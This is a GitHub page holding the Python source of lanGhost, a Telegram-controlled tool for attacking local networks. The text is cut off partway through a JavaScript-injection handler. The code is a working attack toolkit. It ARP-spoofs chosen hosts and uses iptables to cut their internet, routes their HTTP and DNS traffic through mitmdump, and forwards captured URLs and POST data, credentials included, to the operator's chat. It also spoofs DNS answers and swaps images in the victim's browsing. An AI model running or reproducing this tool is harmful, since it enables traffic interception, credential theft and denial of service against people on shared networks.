This repository has been archived by the owner on Jul 17, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 59
/
lanGhost.py
executable file
·1165 lines (990 loc) · 46.4 KB
/
lanGhost.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -.- coding: utf-8 -.-
# lanGhost.py
# author: xdavidhu
try:
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up scapy!
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
from netaddr import IPAddress
from time import sleep
import urllib.request
import urllib.parse
import netifaces
import traceback
import threading
import telegram
import requests
import sqlite3
import base64
import socket
import time
import nmap
import json
import sys
import os
except KeyboardInterrupt:
print("\n\n[+] Stopping...")
raise SystemExit
except:
print("[!] Requirements are not installed... Please run the 'setup.py' script first.")
raise SystemExit
def refreshNetworkInfo():
try:
global iface_mac, ip_range, gw_ip, gw_mac, ip
iface_info = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]
iface_mac = netifaces.ifaddresses(interface)[netifaces.AF_LINK][0]["addr"]
netmask = iface_info["netmask"]
ip = iface_info["addr"]
ip_range = ip + "/" + str(IPAddress(netmask).netmask_bits())
gw_ip = False
for i in netifaces.gateways()[2]:
if i[1] == interface:
gw_ip = i[0]
if not gw_ip:
print("[!] Cant get gateway IP...")
else:
nm = nmap.PortScanner()
scan = nm.scan(hosts=gw_ip, arguments='-sn')
hosts = []
if gw_ip in scan["scan"]:
if "mac" in scan["scan"][gw_ip]["addresses"]:
gw_mac = scan["scan"][gw_ip]["addresses"]["mac"]
if not gw_mac:
print("[!] Cant get gateway MAC...")
return True
except:
print("[!] Error while getting network info. Retrying...")
return False
def iptables(action, target=False):
if action == "setup":
print("[+] Running iptables setup...")
os.system("sudo iptables --flush")
os.system("sudo iptables --table nat --flush")
os.system("sudo iptables --delete-chain")
os.system("sudo iptables --table nat --delete-chain")
os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
if action == "flush":
print("[+] Flushing iptables...")
os.system("sudo iptables --flush")
os.system("sudo iptables --table nat --flush")
os.system("sudo iptables --delete-chain")
os.system("sudo iptables --table nat --delete-chain")
if action == "kill":
print("[+] Dropping connections from " + target + " with iptables...")
os.system("sudo iptables -I FORWARD 1 -s " + target + " -j DROP")
os.system("sudo iptables -A INPUT -s " + target + " -p tcp --dport 8080 -j DROP")
os.system("sudo iptables -A INPUT -s " + target + " -p tcp --dport 53 -j DROP")
os.system("sudo iptables -A INPUT -s " + target + " -p udp --dport 53 -j DROP")
if action == "stopkill":
print("[+] Stopping iptables kill for " + target)
os.system("sudo iptables -D FORWARD -s " + target + " -j DROP")
os.system("sudo iptables -D INPUT -s " + target + " -p tcp --dport 8080 -j DROP")
os.system("sudo iptables -D INPUT -s " + target + " -p tcp --dport 53 -j DROP")
os.system("sudo iptables -D INPUT -s " + target + " -p udp --dport 53 -j DROP")
if action == "mitm":
print("[+] Routing " + target + " into mitmdump with iptables...")
os.system("sudo iptables -t nat -A PREROUTING -s " + target + " -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
os.system("sudo iptables -t nat -A PREROUTING -s " + target + " -p tcp --destination-port 53 -j REDIRECT --to-port 53")
os.system("sudo iptables -t nat -A PREROUTING -s " + target + " -p udp --destination-port 53 -j REDIRECT --to-port 53")
if action == "spoofdns":
print("[+] Spoofing dns for " + target + " with iptables...")
os.system("sudo iptables -t nat -A PREROUTING -s " + target + " -p tcp --destination-port 53 -j REDIRECT --to-port 53")
os.system("sudo iptables -t nat -A PREROUTING -s " + target + " -p udp --destination-port 53 -j REDIRECT --to-port 53")
if action == "stopmitm":
print("[+] Stopping iptables mitm for " + target + "...")
os.system("sudo iptables -t nat -D PREROUTING -s " + target + " -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
os.system("sudo iptables -t nat -D PREROUTING -s " + target + " -p tcp --destination-port 53 -j REDIRECT --to-port 53")
os.system("sudo iptables -t nat -D PREROUTING -s " + target + " -p udp --destination-port 53 -j REDIRECT --to-port 53")
if action == "stopspoofdns":
print("[+] Stopping iptables spoofdns for " + target + "...")
os.system("sudo iptables -t nat -D PREROUTING -s " + target + " -p tcp --destination-port 53 -j REDIRECT --to-port 53")
os.system("sudo iptables -t nat -D PREROUTING -s " + target + " -p udp --destination-port 53 -j REDIRECT --to-port 53")
def scan():
if not refreshNetworkInfo():
return "NETERROR"
global ip_range
try:
nm = nmap.PortScanner()
scan = nm.scan(hosts=ip_range, arguments='-sP')
except:
return "CRASH"
hosts = []
for host in scan["scan"]:
if "mac" in scan["scan"][host]["addresses"]:
if "hostnames" in scan["scan"][host] and "name" in scan["scan"][host]["hostnames"][0] and not scan["scan"][host]["hostnames"][0]["name"] == "":
name = scan["scan"][host]["hostnames"][0]["name"]
if len(name) > 15:
name = name[:15] + "..."
hosts.append([host, scan["scan"][host]["addresses"]["mac"], name])
else:
hosts.append([host, scan["scan"][host]["addresses"]["mac"]])
return hosts
def scanIP(ip):
nm = nmap.PortScanner()
scan = nm.scan(hosts=ip, arguments='-sS')
result = []
# layout: [ipv4, mac, vendor, hostname, [port, name]]
if scan["scan"] == {}:
return "DOWN"
try:
if "addresses" in scan["scan"][ip]:
if "ipv4" in scan["scan"][ip]["addresses"]:
result.append(str(scan["scan"][ip]["addresses"]["ipv4"]))
else:
result.append("??")
if "mac" in scan["scan"][ip]["addresses"]:
result.append(str(scan["scan"][ip]["addresses"]["mac"]))
if "vendor" in scan["scan"][ip] and scan["scan"][ip]["addresses"]["mac"] in scan["scan"][ip]["vendor"]:
result.append(str(scan["scan"][ip]["vendor"][scan["scan"][ip]["addresses"]["mac"]]))
else:
result.append("??")
else:
result.append("??")
result.append("??")
else:
result.append("??")
result.append("??")
result.append("??")
if "hostnames" in scan["scan"][ip] and "name" in scan["scan"][ip]["hostnames"][0]:
tempHostname = str(scan["scan"][ip]["hostnames"][0]["name"])
if tempHostname == "":
tempHostname = "??"
result.append(tempHostname)
else:
result.append("??")
if "tcp" in scan["scan"][ip]:
tempList = []
for port in scan["scan"][ip]["tcp"]:
if "name" in scan["scan"][ip]["tcp"][port]:
name = scan["scan"][ip]["tcp"][port]["name"]
else:
name = "??"
if "state" in scan["scan"][ip]["tcp"][port]:
state = scan["scan"][ip]["tcp"][port]["state"]
else:
state = "??"
tempPort = [str(port), str(state), str(name)]
tempList.append(tempPort)
result.append(tempList)
else:
result.append([])
except:
result = False
return result
def resolveMac(mac):
r = requests.get('https://api.macvendors.com/' + mac)
vendor = r.text
if len(vendor) > 15:
vendor = vendor[:15] + "..."
return vendor
def subscriptionHandler(bot):
global admin_chatid
temp_disconnected = []
disconnected = []
reconnected = []
hosts = False
def handleDisconnect(host):
print("[D] Appending " + str([host, 1]) + " to temp_disconnected")
temp_disconnected.append([host, 1])
def handleScan(scan):
for t_host in temp_disconnected:
if t_host[1] >= 20:
print("[D] Removed " + str(t_host) + " from temp_disconnected, its over 5")
disconnected.append(t_host[0])
temp_disconnected.remove(t_host)
for t_host in temp_disconnected:
if not t_host[0] in scan:
print("[D] Adding +1 to " + str(t_host))
t_host[1] += 1
def handleConnect(host):
for t_host in temp_disconnected:
if t_host[0] == host:
print("[D] " + str(t_host) + " reconnected, removing from temp_disconnected")
reconnected.append(t_host[0])
temp_disconnected.remove(t_host)
def getConnected(hosts):
result = []
for host in hosts:
if host not in reconnected:
result.append(host)
else:
reconnected.remove(host)
print("[D] Not printing " + str(host) + " because its just reconnected")
return result
while True:
print("[+] Scanning for new hosts...")
new_hosts_with_name = scan()
new_hosts = [i[:2] for i in new_hosts_with_name]
if new_hosts_with_name == "NETERROR" or new_hosts_with_name == "CRASH":
time.sleep(5)
continue
connected_hosts = []
disconnected_hosts = []
if not hosts == False:
for new_host in new_hosts:
if not new_host in hosts:
handleConnect(new_host)
connected_hosts.append(new_host)
handleScan(hosts)
for host in hosts:
if not host in new_hosts:
handleDisconnect(host)
global latest_scan
latest_scan = new_hosts_with_name[:]
for t_host in temp_disconnected:
latest_scan.append(t_host[0])
hosts = new_hosts[:]
for host in getConnected(connected_hosts):
print("[+] New device connected: " + resolveMac(host[1]) + " - " + host[0])
bot.send_message(chat_id=admin_chatid, text="➕📱 New device connected: " + resolveMac(host[1]) + " ➖ " + host[0])
for host in disconnected:
print("[+] Device disconnected: " + resolveMac(host[1]) + " - " + host[0])
bot.send_message(chat_id=admin_chatid, text="➖📱 Device disconnected: " + resolveMac(host[1]) + " ➖ " + host[0])
attacksRunning = attackManager("getids", target=host[0])
for attackid in attacksRunning:
print("[+] Stopping attack " + str(attackid[0]) + ", because " + host[0] + " disconnected.")
bot.send_message(chat_id=admin_chatid, text="✅ Stopping attack " + str(attackid[0]) + ", because " + host[0] + " disconnected.")
stopAttack(attackid[0])
disconnected.remove(host)
time.sleep(20)
def arpSpoof(target):
global iface_mac, gw_ip
print("[+] ARP Spoofing " + str(target[0]) + "...")
os.system("sudo screen -S lanGhost-arp-" + target[0] + "-0 -m -d arpspoof -t " + target[0] + " " + gw_ip + " -i " + interface)
os.system("sudo screen -S lanGhost-arp-" + target[0] + "-1 -m -d arpspoof -t " + gw_ip + " " + target[0] + " -i " + interface)
def mitmHandler(target, ID, bot):
global admin_chatid, script_path
while True:
if attackManager("isrunning", ID=ID) == True:
try:
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_mitm (id integer primary key autoincrement, source TEXT, host TEXT, url TEXT, method TEXT, data TEXT, dns TEXT)")
DBconn.commit()
DBcursor.execute("SELECT * FROM lanGhost_mitm")
data = DBcursor.fetchall()
DBconn.close()
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
textline = "📱 MITM - " + target[0] + "\n\n"
for item in data:
if item[6] == "1":
temp_textline = "DNS"+ " ➖ " + str(item[2]) + " ➡️ " + str(item[5]) + "\n\n"
if len(textline + temp_textline) > 3000:
break
textline += temp_textline
elif item[4] == "POST":
temp_textline = str(item[4]) + " ➖ " + str(item[3]) + "\n📄 POST DATA:\n" + urllib.parse.unquote(item[5]) + "\n\n"
if len(textline + temp_textline) > 3000:
break
textline += temp_textline
else:
temp_textline = str(item[4]) + " ➖ " + str(item[3]) + "\n\n"
if len(textline + temp_textline) > 3000:
break
textline += temp_textline
DBcursor.execute("DELETE FROM lanGhost_mitm WHERE id=?", [str(item[0])])
DBconn.commit()
if not textline == "📱 MITM - " + target[0] + "\n\n":
bot.send_message(chat_id=admin_chatid, text=textline)
DBconn.close()
time.sleep(1)
except:
print("[!!!] " + str(traceback.format_exc()))
else:
break
def attackManager(action, attack_type=False, target=False, ID=False):
global running_attacks
# Layout: [[ID, attack_type, target]]
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_attacks (id integer primary key autoincrement, attackid TEXT, attack_type TEXT, target TEXT)")
DBconn.commit()
DBconn.close()
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
def getNewID():
DBcursor.execute("SELECT attackid FROM lanGhost_attacks ORDER BY id DESC LIMIT 1")
data = DBcursor.fetchone()
if data == None:
return 1
data = data[0]
return int(data) + 1
if action == "new":
ID = getNewID()
DBcursor.execute("INSERT INTO lanGhost_attacks(attackid, attack_type, target) VALUES (?, ?, ?)", [str(ID), attack_type, target])
DBconn.commit()
return ID
elif action == "del":
DBcursor.execute("DELETE FROM lanGhost_attacks WHERE attackid=?", [str(ID)])
DBconn.commit()
if DBcursor.rowcount == 1:
return True
else:
return False
elif action == "isrunning":
DBcursor.execute("SELECT attackid FROM lanGhost_attacks WHERE attackid=? ORDER BY id DESC LIMIT 1", [str(ID)])
data = DBcursor.fetchone()
if data == None:
return False
else:
return True
elif action == "isattacked":
DBcursor.execute("SELECT attackid FROM lanGhost_attacks WHERE target=? ORDER BY id DESC LIMIT 1", [target])
data = DBcursor.fetchone()
if data == None:
return False
else:
return True
elif action == "gettype":
DBcursor.execute("SELECT attack_type FROM lanGhost_attacks WHERE attackid=? ORDER BY id DESC LIMIT 1", [str(ID)])
data = DBcursor.fetchone()
if data == None:
return False
else:
return data[0]
elif action == "gettarget":
DBcursor.execute("SELECT target FROM lanGhost_attacks WHERE attackid=? ORDER BY id DESC LIMIT 1", [str(ID)])
data = DBcursor.fetchone()
if data == None:
return False
else:
return data[0]
elif action == "getids":
DBcursor.execute("SELECT attackid FROM lanGhost_attacks WHERE target=?", [target])
data = DBcursor.fetchall()
if data == None:
return []
else:
return data
elif action == "list":
DBcursor.execute("SELECT attackid, attack_type, target FROM lanGhost_attacks")
data = DBcursor.fetchall()
if data == None:
return []
else:
return data
def stopAttack(ID):
atype = attackManager("gettype", ID=ID)
target = attackManager("gettarget", ID=ID)
attackManager("del", ID=ID)
if not attackManager("isattacked", target=target):
print("[+] Stopping ARP Spoof for " + target + "...")
os.system("sudo screen -S lanGhost-arp-" + target + "-0 -X stuff '^C\n'")
os.system("sudo screen -S lanGhost-arp-" + target + "-1 -X stuff '^C\n'")
global script_path
if atype == "kill":
iptables("stopkill", target=target)
elif atype == "mitm":
iptables("stopmitm", target=target)
elif atype == "replaceimg":
iptables("stopmitm", target=target)
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_img (attackid TEXT, target TEXT, img TEXT, targetip TEXT)")
DBconn.commit()
DBconn.close()
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("DELETE FROM lanGhost_img WHERE attackid=?", [str(ID)])
DBconn.commit()
DBconn.close()
elif atype == "injectjs":
iptables("stopmitm", target=target)
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_js (attackid TEXT, target TEXT, jsurl TEXT)")
DBconn.commit()
DBconn.close()
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("DELETE FROM lanGhost_js WHERE attackid=?", [str(ID)])
DBconn.commit()
DBconn.close()
elif atype == "spoofdns":
iptables("stopspoofdns", target=target)
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_dns (attackid TEXT, target TEXT, domain TEXT, fakeip TEXT)")
DBconn.commit()
DBconn.close()
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("DELETE FROM lanGhost_dns WHERE attackid=?", [str(ID)])
DBconn.commit()
DBconn.close()
def stop_updater():
global updater
updater.stop()
def stopping():
global script_path
print("\n\n[+] Stopping...")
stop_updater_t = threading.Thread(target=stop_updater)
stop_updater_t.start()
os.system("sudo screen -S lanGhost-mitm -X stuff '^C\n'")
os.system("sudo screen -S lanGhost-dns -X stuff '^C\n'")
iptables("flush")
attacks = attackManager("list")
if not attacks == []:
print("[+] Stopping attacks...")
for attack in attacks:
stopAttack(attack[0])
if not attacks == []:
time.sleep(5)
os.system("sudo rm -r " + script_path + "lanGhost.db > /dev/null 2>&1")
print("[+] lanGhost stopped")
raise SystemExit
def restart_thread():
os.execl(sys.executable, sys.executable, *sys.argv)
def restarting():
global script_path
print("\n\n[+] Restarting...")
stop_updater_t = threading.Thread(target=stop_updater)
stop_updater_t.start()
os.system("sudo screen -S lanGhost-mitm -X stuff '^C\n'")
os.system("sudo screen -S lanGhost-dns -X stuff '^C\n'")
iptables("flush")
attacks = attackManager("list")
if not attacks == []:
print("[+] Stopping attacks...")
for attack in attacks:
stopAttack(attack[0])
if not attacks == []:
time.sleep(5)
os.system("sudo rm -r " + script_path + "lanGhost.db > /dev/null 2>&1")
print("[+] lanGhost stopped")
restart_t = threading.Thread(target=restart_thread)
restart_t.start()
# Command handlers:
def msg_start(bot, update):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
bot.send_message(chat_id=update.message.chat_id, text="Welcome to lanGhost! 👻")
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_ping(bot, update):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
bot.send_message(chat_id=update.message.chat_id, text="Pong! ⚡️")
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_scan(bot, update, args):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
global latest_scan
bot.send_message(chat_id=update.message.chat_id, text="Scanning network... 🔎")
textline = "📱 Devices online:\n\n"
temp_latest_scan = latest_scan[:]
temp_latest_scan = sorted(temp_latest_scan, key=lambda x: x[0])
for host in temp_latest_scan:
if len(host) > 2:
textline += host[0] + " ➖ " + resolveMac(host[1]) + " ➖ " + host[2] + "\n"
else:
textline += host[0] + " ➖ " + resolveMac(host[1]) + "\n"
textline = textline[:-1]
bot.send_message(chat_id=update.message.chat_id, text=textline)
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_kill(bot, update, args):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
if args == []:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Usage: /kill [TARGET-IP]")
return
target_ip = args[0]
global latest_scan
hosts = latest_scan[:]
target_mac = False
for host in hosts:
if host[0] == target_ip:
target_mac = host[1]
if not target_mac:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Target host is not up.")
return
target = [target_ip, target_mac]
iptables("kill", target=target[0])
if not attackManager("isattacked", target=target_ip):
ID = attackManager("new", attack_type="kill", target=target_ip)
kill_thread = threading.Thread(target=arpSpoof, args=[target])
kill_thread.daemon = True
kill_thread.start()
else:
ID = attackManager("new", attack_type="kill", target=target_ip)
bot.send_message(chat_id=update.message.chat_id, text="Starting attack with ID: " + str(ID))
bot.send_message(chat_id=update.message.chat_id, text="Type /stop " + str(ID) + " to stop the attack.")
bot.send_message(chat_id=update.message.chat_id, text="🔥 Killing internet for " + target_ip + "...")
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_stop(bot, update, args):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
if args == []:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Usage: /stop [ATTACK-ID]")
return
try:
ID = int(args[0])
except:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ ATTACK-ID must be a number.")
return
if not attackManager("isrunning", ID=ID):
bot.send_message(chat_id=update.message.chat_id, text="⚠️ No attack with ID " + str(ID) + ".")
return
stopAttack(ID)
bot.send_message(chat_id=update.message.chat_id, text="✅ Attack " + str(ID) + " stopped...")
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_attacks(bot, update, args):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
attacks = attackManager("list")
if attacks == []:
bot.send_message(chat_id=update.message.chat_id, text="✅ There are no attacks currently running...")
return
textline = ""
for attack in attacks:
textline += "ID: " + str(attack[0]) + " ➖ " + attack[1] + " ➖ " + attack[2] + "\n"
bot.send_message(chat_id=update.message.chat_id, text="🔥 Attacks running:\n\n" + textline)
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_mitm(bot, update, args):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
if args == []:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Usage: /mitm [TARGET-IP]")
return
target_ip = args[0]
global latest_scan
hosts = latest_scan[:]
target_mac = False
for host in hosts:
if host[0] == target_ip:
target_mac = host[1]
if not target_mac:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Target host is not up.")
return
target = [target_ip, target_mac]
iptables("mitm", target=target[0])
if not attackManager("isattacked", target=target_ip):
ID = attackManager("new", attack_type="mitm", target=target_ip)
arp_thread = threading.Thread(target=arpSpoof, args=[target])
arp_thread.daemon = True
arp_thread.start()
else:
ID = attackManager("new", attack_type="mitm", target=target_ip)
mitm_thread = threading.Thread(target=mitmHandler, args=[target, ID, bot])
mitm_thread.daemon = True
mitm_thread.start()
bot.send_message(chat_id=update.message.chat_id, text="Starting attack with ID: " + str(ID))
bot.send_message(chat_id=update.message.chat_id, text="Type /stop " + str(ID) + " to stop the attack.")
bot.send_message(chat_id=update.message.chat_id, text="🔥 Capturing URL's and DNS from " + target_ip + "...")
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_img(bot, update):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
global script_path
try:
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_img (attackid TEXT, target TEXT, img TEXT, targetip TEXT)")
DBconn.commit()
DBconn.close()
except:
return
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("SELECT * FROM lanGhost_img")
data = DBcursor.fetchall()
if not data == []:
for attack in data:
if attack[2] == "false":
imgID = str(update.message.photo[-1].file_id)
imgData = bot.getFile(imgID)
request = urllib.request.urlopen(imgData["file_path"])
img = request.read()
img64 = base64.b64encode(img)
target = json.loads(attack[1])
iptables("mitm", target=target[0])
if not attackManager("isattacked", target=target[0]):
ID = attackManager("new", attack_type="replaceimg", target=target[0])
arp_thread = threading.Thread(target=arpSpoof, args=[target])
arp_thread.daemon = True
arp_thread.start()
else:
ID = attackManager("new", attack_type="replaceimg", target=target[0])
DBcursor.execute("UPDATE lanGhost_img SET img=?, attackid=? WHERE target=?", [img64, str(ID), attack[1]])
DBconn.commit()
bot.send_message(chat_id=update.message.chat_id, text="Starting attack with ID: " + str(ID))
bot.send_message(chat_id=update.message.chat_id, text="Type /stop " + str(ID) + " to stop the attack.")
bot.send_message(chat_id=update.message.chat_id, text="🔥 Replacing images for " + target[0] + "...")
DBconn.close()
break
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_replaceimg(bot, update, args):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
if args == []:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Usage: /replaceimg [TARGET-IP]")
return
target_ip = args[0]
global latest_scan
hosts = latest_scan[:]
target_mac = False
for host in hosts:
if host[0] == target_ip:
target_mac = host[1]
if not target_mac:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Target host is not up.")
return
target = [target_ip, target_mac]
target = json.dumps(target)
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_img (attackid TEXT, target TEXT, img TEXT, targetip TEXT)")
DBconn.commit()
DBconn.close()
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("INSERT INTO lanGhost_img VALUES (?, ?, ?, ?)", ["false", target, "false", target_ip])
DBconn.commit()
DBconn.close()
bot.send_message(chat_id=update.message.chat_id, text="📷 Please send the image you want to replace others with:")
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_spoofdns(bot, update, args):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
try:
if len(args) < 3:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Usage: /spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP]")
return
target_ip = args[0]
domain = args[1]
fakeip = args[2]
try:
socket.inet_aton(fakeip)
except socket.error:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ FAKE-IP is not valid... Please try again.")
return
global latest_scan
hosts = latest_scan[:]
target_mac = False
for host in hosts:
if host[0] == target_ip:
target_mac = host[1]
if not target_mac:
bot.send_message(chat_id=update.message.chat_id, text="⚠️ Target host is not up.")
return
target = [target_ip, target_mac]
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_dns (attackid TEXT, target TEXT, domain TEXT, fakeip TEXT)")
DBconn.commit()
DBconn.close()
iptables("spoofdns", target=target[0])
if not attackManager("isattacked", target=target_ip):
ID = attackManager("new", attack_type="spoofdns", target=target[0])
arp_thread = threading.Thread(target=arpSpoof, args=[target])
arp_thread.daemon = True
arp_thread.start()
else:
ID = attackManager("new", attack_type="spoofdns", target=target[0])
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("INSERT INTO lanGhost_dns VALUES (?, ?, ?, ?)", [str(ID), target[0], domain, fakeip])
DBconn.commit()
DBconn.close()
bot.send_message(chat_id=update.message.chat_id, text="Starting attack with ID: " + str(ID))
bot.send_message(chat_id=update.message.chat_id, text="Type /stop " + str(ID) + " to stop the attack.")
bot.send_message(chat_id=update.message.chat_id, text="🔥 Spoofing DNS for " + target[0] + "...")
except:
print("[!!!] " + str(traceback.format_exc()))
bot.send_message(chat_id=update.message.chat_id, text="❌ Whooops, something went wrong... Please try again.")
def msg_injectjs(bot, update, args):
global admin_chatid
if not str(update.message.chat_id) == str(admin_chatid):
return
